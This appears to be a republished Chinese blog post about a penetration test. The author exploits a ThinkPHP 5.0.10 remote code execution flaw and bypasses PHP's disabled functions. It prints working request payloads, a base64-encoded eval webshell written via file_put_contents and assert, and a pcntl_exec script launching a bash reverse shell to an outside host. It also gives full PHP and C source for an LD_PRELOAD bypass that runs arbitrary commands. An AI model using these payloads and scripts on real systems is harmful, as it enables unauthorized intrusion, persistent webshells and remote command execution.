溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

Thinkphp繞過(guò)禁用函數(shù)的示例分析

發(fā)布時(shí)間:2022-03-04 14:25:13 來(lái)源:億速云 閱讀:173 作者:小新 欄目:開(kāi)發(fā)技術(shù)

這篇文章主要為大家展示了“Thinkphp繞過(guò)禁用函數(shù)的示例分析”,內(nèi)容簡(jiǎn)而易懂,條理清晰,希望能夠幫助大家解決疑惑,下面讓小編帶領(lǐng)大家一起研究并學(xué)習(xí)一下“Thinkphp繞過(guò)禁用函數(shù)的示例分析”這篇文章吧。

前言

在一次滲透測(cè)試中,手工找了許久沒(méi)發(fā)現(xiàn)什么東西,抱著嘗試的心情打開(kāi)了xray

果然xray還是挺給力的,一打開(kāi)網(wǎng)頁(yè)的時(shí)候xray直接就掃描出了thinkphp 5.0.10 rce漏洞

直接使用命令執(zhí)行payload,結(jié)果報(bào)出system函數(shù)被禁用

s=whoami&_method=__construct&method=&filter[]=system

Thinkphp繞過(guò)禁用函數(shù)的示例分析

嘗試應(yīng)用其他函數(shù)進(jìn)行利用,經(jīng)過(guò)測(cè)試發(fā)現(xiàn)call_user_func函數(shù)沒(méi)有被禁用
Payload

s=phpinfo&_method=__construct&method=get&filter[]=call_user_func

可以看到哪些函數(shù)被禁用了

Thinkphp繞過(guò)禁用函數(shù)的示例分析

看到assert和include沒(méi)有被禁用,一開(kāi)始想寫shell進(jìn)日志然后去利用文件包含,發(fā)現(xiàn)并沒(méi)有任何反應(yīng),也不報(bào)錯(cuò)。

file_put_contents

又回去看被禁用的函數(shù),發(fā)現(xiàn)文件函數(shù)沒(méi)被禁用,可以用file_put_contents函數(shù)去寫文件
測(cè)試寫入phpinfo文件

s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

Thinkphp繞過(guò)禁用函數(shù)的示例分析

寫入成功

Thinkphp繞過(guò)禁用函數(shù)的示例分析

寫入冰蝎馬可以進(jìn)行文件管理了

Thinkphp繞過(guò)禁用函數(shù)的示例分析

雖然可以進(jìn)行文件操作了,但還是沒(méi)法執(zhí)行命令

Thinkphp繞過(guò)禁用函數(shù)的示例分析

pcntl_exec

想到了比較容易被忽略的命令執(zhí)行函數(shù)pcntl_exec,發(fā)現(xiàn)pcntl_exec函數(shù)沒(méi)有被禁用,該函數(shù)可以指定一個(gè)程序來(lái)執(zhí)行指定文件

先寫一個(gè)exe.php文件,在文件中指定pcntl_exec的參數(shù)(執(zhí)行運(yùn)行程序,運(yùn)行指定文件)

<?php
    switch (pcntl_fork()) {
        case 0:
            pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
            exit(0);
        default:
            break;
    }
?>

exec.sh文件寫入反彈命令

bash -i >& /dev/tcp/vpsip/7777 0>&1

瀏覽器訪問(wèn)exe.php成功反彈shell

Thinkphp繞過(guò)禁用函數(shù)的示例分析

LD_PRELOAD 劫持

這次滲透是結(jié)束了,這里嘗試了另外一種繞過(guò)方法,如果遇到pcntl_exec函數(shù)也被禁用的情況,可以利用環(huán)境變量 LD_PRELOAD 劫持系統(tǒng)函數(shù),讓外部程序加載惡意 *.so,達(dá)到執(zhí)行系統(tǒng)命令的效果。詳細(xì)的原理介紹就不贅述了,可以參考這個(gè)大哥的文章https://www.meetsec.cn/index.php/archives/44/

這種方法主要是需要上傳一個(gè).php和一個(gè)由.c程序編譯得到共享對(duì)象.so文件到服務(wù)器

bypass_disablefunc.php

<?php
    echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
    echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

    putenv("EVIL_CMDLINE=" . $evil_cmdline);

    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);

    mail("", "", "", "");

    echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

    unlink($out_path);
?>

bypass_disablefunc.php提供了三個(gè)參數(shù):

  1. cmd 參數(shù),待執(zhí)行的系統(tǒng)命令(如 whoami)。

  2. outpath 參數(shù),保存命令執(zhí)行輸出結(jié)果的文件路徑(如 /www/wwwroot/public),便于在頁(yè)面上顯示,另外關(guān)于該參數(shù),你應(yīng)注意 web 是否有讀寫權(quán)限、web 是否可跨目錄訪問(wèn)、文件將被覆蓋和刪除等幾點(diǎn)。

  3. sopath 參數(shù),指定劫持系統(tǒng)函數(shù)的共享對(duì)象的絕對(duì)路徑(如 /www/wwwroot/bypass_disablefunc_x64.so),另外關(guān)于該參數(shù),你應(yīng)注意 web 是否可跨目錄訪問(wèn)到它,最好也傳到web根目錄下。

bypass_disablefunc.c

#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
    // get command line options and arg
    const char* cmdline = getenv("EVIL_CMDLINE");

    // unset environment variable LD_PRELOAD.
    // unsetenv("LD_PRELOAD") no effect on some 
    // distribution (e.g., centos), I need crafty trick.
    int i;
    for (i = 0; environ[i]; ++i) {
            if (strstr(environ[i], "LD_PRELOAD")) {
                    environ[i][0] = '\0';
            }
    }

    // executive command
    system(cmdline);
}

這里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對(duì)象 bypass_disablefunc_x64.so

要根據(jù)目標(biāo)架構(gòu)編譯成不同版本,在 x64 的環(huán)境中編譯,若不帶編譯選項(xiàng)則默認(rèn)為 x64,若要編譯成 x86 架構(gòu)需要加上 -m32 選項(xiàng)。

可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務(wù)器web目錄
在瀏覽器訪問(wèn)bypass_disablefunc.php傳入?yún)?shù)

http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so

成功執(zhí)行命令

Thinkphp繞過(guò)禁用函數(shù)的示例分析

以上是“Thinkphp繞過(guò)禁用函數(shù)的示例分析”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對(duì)大家有所幫助,如果還想學(xué)習(xí)更多知識(shí),歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI